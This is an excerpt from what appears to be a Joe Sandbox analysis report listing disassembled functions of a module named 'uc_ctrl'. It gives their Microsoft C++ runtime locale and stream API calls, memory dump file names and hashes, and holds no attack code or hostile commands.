Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4197

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C41AD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C41DA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4227

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: dac5a192ac1b92c557a5db7859988bb91fc289c4c7fabec47df16022561cc115
Instruction ID: 7b82f4b10546cf16512aa8f855399991dd2117477c60f2f4b85355a9bc8b6845
Opcode Fuzzy Hash: dac5a192ac1b92c557a5db7859988bb91fc289c4c7fabec47df16022561cc115
Instruction Fuzzy Hash: 8A21E435908104AFCF01DFE8C850BFDBBB4AF18308F15804EE644A7285CBB99A01CBA1

Function 6D1C8980 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8987

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C89B7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C89CC
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8A04
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8A47

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 8986dc497491eb265c7b84397db6b212183098d8da6a4aa6fe56b70d237ec4bf
Instruction ID: dc751cf000536b91114ec3bb7c202eaa8362c787e68d2bf4d7cd3986eee60c4d
Opcode Fuzzy Hash: 8986dc497491eb265c7b84397db6b212183098d8da6a4aa6fe56b70d237ec4bf
Instruction Fuzzy Hash: 96219A74A05248EFCB05DFE8C990DEDBFB5AF18308F19405DE205A7246CBB59E41CBA6

Function 6D1C88A0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C88A7

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C88D7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C88EC
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8924
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8967

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2761499258-0
Opcode ID: 7c0d8ec8f3474d9dbc12b44f7d201567122091a8808755126fa2d771e8d95a3d
Instruction ID: 53e5e13da0d0cfda9ba8e2ac2b7fc27a78807e7143759d609946314169f2c02d
Opcode Fuzzy Hash: 7c0d8ec8f3474d9dbc12b44f7d201567122091a8808755126fa2d771e8d95a3d
Instruction Fuzzy Hash: 30219D78A05208EFCB05DFE8C990DEDBFB5AF18308F19405DE205A7246C7B59A41CBA2

Function 6D1C8B40 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8B47

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8B77

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C8B8C
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8BC4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8C07

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: d0f1de5e26a69cbbc88472754659ccadef5e1fc76c939efea05e1499c6b87369
Instruction ID: 93366a43a341a9999be1091360e1ab9ea047bcb2806bf4359fb9883e65f19d6a
Opcode Fuzzy Hash: d0f1de5e26a69cbbc88472754659ccadef5e1fc76c939efea05e1499c6b87369
Instruction Fuzzy Hash: F1219D78A05208EFCB05DFE8C990DEDBFB5AF18308F19405DE205A7246C7B59A45CBA6

Function 6D1C6B60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6B67

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6B97

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AB058: __EH_prolog3.LIBCMT ref: 6D1AB05F
Part of subcall function 6D1AB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A800B,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AB06A
Part of subcall function 6D1AB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AB082
Part of subcall function 6D1AB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB0E6

std::locale::~locale.LIBCPMT ref: 6D1C6BAD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6D1C6BDB
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6C28

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: c9cd86dcdf36ae914d0da1e5a14ab531487339b79126eb33db84eea9da826291
Instruction ID: faf642e0c30cba831e48f181c334d579a41ea46b841f10fbb30c32cd62efa293
Opcode Fuzzy Hash: c9cd86dcdf36ae914d0da1e5a14ab531487339b79126eb33db84eea9da826291
Instruction Fuzzy Hash: 8B219075A04248EFCB05DFE8D950BFDBFB0AF29308F19404DE241A7286C7B55A42CB95

Function 6D1C4240 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4247

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4277

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C428D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_J@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C42BA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4307

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 531723e7c7ccfa2454c88a4c3bbb0164fcd658cf2fb12daabfff02bd8baf898b
Instruction ID: fe6f94ec4b91a6ec87e17bee82af1b6643fa0bc36569aec2c41c0d9c8f7e54a7
Opcode Fuzzy Hash: 531723e7c7ccfa2454c88a4c3bbb0164fcd658cf2fb12daabfff02bd8baf898b
Instruction Fuzzy Hash: E021E475908104AFCB01DFE8C950BFDBBB4AF18308F15804EE645A7285CBB99A01CB61

Function 6D1C8A60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8A67

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8A97

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C8AAC
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8AE4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8B27

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: a4c8ccc1ea6efd4c98e7b2b678c047f1fe5bc3cc275ec8d9fd79c676c011512c
Instruction ID: b03076b34497420e98bcbc114d834b250a0c8306fa6a042c8ef96cec109457ae
Opcode Fuzzy Hash: a4c8ccc1ea6efd4c98e7b2b678c047f1fe5bc3cc275ec8d9fd79c676c011512c
Instruction Fuzzy Hash: A0219DB4A05208EFCF05DFE8C990DEDBFB5AF18308F19405DE105A7246C7B59A41CBA2

Function 6D1C4400 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4407

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4437

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C444D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6D1C4477
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C44C4

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 32eb51fbedbe0be117d398efa0c0505bbb529da87da08991a3ade3deb4db0147
Instruction ID: 93422e6d0d1f8a480186bfa18479e8f4eae4a8b4fb6f7f91c3ccac42147cf081
Opcode Fuzzy Hash: 32eb51fbedbe0be117d398efa0c0505bbb529da87da08991a3ade3deb4db0147
Instruction Fuzzy Hash: 5811DA75D041049FCB01DFE8C550BFDBBF56F58304F25404DE645A7286CBB95A01CB55

Function 6D19ECB0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19ECC9
___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19ECD2
memcmp.VCRUNTIME140(?,?,?), ref: 6D19ECF2
__crtCompareStringA.MSVCP140(?,00001000,?,?,?,?,?), ref: 6D19ED1F

Part of subcall function 6D1A0B30: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6D1A0B5E
Part of subcall function 6D1A0B30: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6D1A0B74

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19ED2B

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: __strncnt$CompareString___lc_collate_cp_func___lc_locale_name_func__crt_errnomemcmp
String ID:
API String ID: 3186426095-0
Opcode ID: a4a587245c212367180f012282f9c4e3dd2ee7c6c494e507a0a4abd928f561b3
Instruction ID: 805a3a3a4f44eb561af6418aef1974686d7268a21fc1cc95c11d6aaf45a38834
Opcode Fuzzy Hash: a4a587245c212367180f012282f9c4e3dd2ee7c6c494e507a0a4abd928f561b3
Instruction Fuzzy Hash: 2511C276209105AFDB019E5CDD44A9B7BB8FF55764B068210FD24DF198E7B1ED1087A0

Function 6D1C44E0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C44E7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4517

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

